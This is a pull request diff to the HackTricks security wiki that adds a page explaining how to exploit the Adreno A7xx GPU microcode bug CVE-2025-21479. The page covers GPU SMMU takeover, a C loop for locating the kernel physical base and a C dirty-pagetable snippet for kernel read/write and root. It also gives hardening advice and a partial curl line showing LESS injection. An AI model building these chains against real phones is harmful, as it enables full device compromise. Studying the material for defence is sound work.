Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -860,6 +860,7 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw](binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md)
- [Ksmbd Streams Xattr Oob Write Cve 2025 37947](binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,152 @@
# Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

{{#include ../../banners/hacktricks-training.md}}

This page abstracts an in-the-wild Adreno A7xx microcode logic bug (CVE-2025-21479) into reproducible exploitation techniques: abusing IB-level masking in Set Draw State (SDS) to execute privileged GPU packets from an unprivileged app, pivoting to GPU SMMU takeover and then to a fast, stable kernel R/W via a dirty-pagetable trick.

- Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
- Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
- Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
- Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).

## Background: IB levels, SDS and the $12 mask

- The kernel maintains a ringbuffer (RB=IB0). Userspace submits IB1 via CP_INDIRECT_BUFFER, chaining to IB2/IB3.
- SDS is a special command stream entered via CP_SET_DRAW_STATE:
- A6xx: SDS is treated as IB3
- A7xx: SDS moved to IB4
- Microcode tracks the current IB level in register $12 and gates privileged packets so they are only accepted when the effective level corresponds to IB0 (kernel RB).
- Bug: A7xx microcode kept masking $12 with 0x3 (2 bits) instead of 0x7 (3 bits). Since IB4 & 0x3 == 0, SDS was misidentified as IB0, allowing privileged packets from user-controlled SDS.

Why it matters:

```
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
```

Microcode diff example (patch switched the mask to 0x7):

```
@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7
```

## Exploitation overview

Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable.

High-level chain
- Craft a fake GPU pagetable in shared memory
- Enter SDS and execute:
- CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
- CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
- CP_SET_DRAW_STATE with run-now flags (dispatch immediately)

GPU R/W primitives via fake pagetable
- Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write
- Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)

Notes
- Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS.
- Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default.

## Building the SDS command sequence

- Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
- Construct an SDS buffer containing, in order:
1) CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
2) One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
3) CP_SET_DRAW_STATE with flags to run-now

The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.

## Finding Samsung kernel physbase under physical KASLR

Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.

Representative loop

```c
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}
```

Once physbase is known, compute the kernel virtual with the linear map:

```
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
```

## Stabilizing to fast, reliable CPU-side kernel R/W (dirty pagetable)

GPU R/W is slow and small-granularity. Pivot to a fast/stable primitive by corrupting your own process PTEs (“dirty pagetable”):

Steps
- Locate current task_struct -> mm_struct -> mm_struct->pgd using the slow GPU R/W primitives
- mmap two adjacent userspace pages A and B (e.g., at 0x1000)
- Walk PGD->PMD->PTE to resolve A/B’s PTE physical addresses (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
- Overwrite B’s PTE to point to the last-level pagetable managing A/B with RW attributes (phys_to_readwrite_pte)
- Write via B’s VA to mutate A’s PTE to map target PFNs; read/write kernel memory via A’s VA, flushing TLB until a sentinel flips

<details>
<summary>Example dirty-pagetable pivot snippet</summary>

```c
uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE);
page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx);
uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map);
uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1);
uint64_t pmd_off = get_pmd_offset((uint64_t)map);
uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1);
uint64_t pte_off = get_pte_offset((uint64_t)map);
uint64_t pte_addr = phys_pte + pte_off;
uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
while (page_map[0] == 0x4242424242424242) flush_tlb();
```

</details>

## Detection and hardening

- Firmware/microcode: fix all sites masking $12 to use 0x7 (A7xx) and audit privileged packet gates
- Driver: validate effective IB level for privileged packets and enforce per-context allowlists
- Telemetry: alert if CP_SMMU_TABLE_UPDATE (or similar privileged opcodes) appears outside RB/IB0, especially in SDS; monitor anomalous bursts of 4/8-byte CP_MEM_TO_MEM and excessive TLB flush patterns
- Kernel: harden pagetable metadata and detect user PTE corruption patterns

## Impact

A local app with GPU access can execute privileged GPU packets, hijack the GPU SMMU, achieve arbitrary kernel physical/virtual R/W, disable SELinux and obtain root on affected Snapdragon A7xx devices (e.g., Samsung S23). Severity: High (kernel compromise).

## References

- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)

{{#include ../../banners/hacktricks-training.md}}
6 changes: 6 additions & 0 deletions src/linux-hardening/privilege-escalation/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -57,6 +57,12 @@ Tools that could help to search for kernel exploits are:

Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid.

Additional kernel exploitation technique:

{{#ref}}
../../binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md
{{#endref}}

### CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,6 @@
## LESS Code Injection leading to SSRF & Local File Read
# LESS Code Injection leading to SSRF & Local File Read

{{#include ../../../banners/hacktricks-training.md}}

LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.

Expand Down Expand Up @@ -59,4 +61,5 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \

* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../../../banners/hacktricks-training.md}}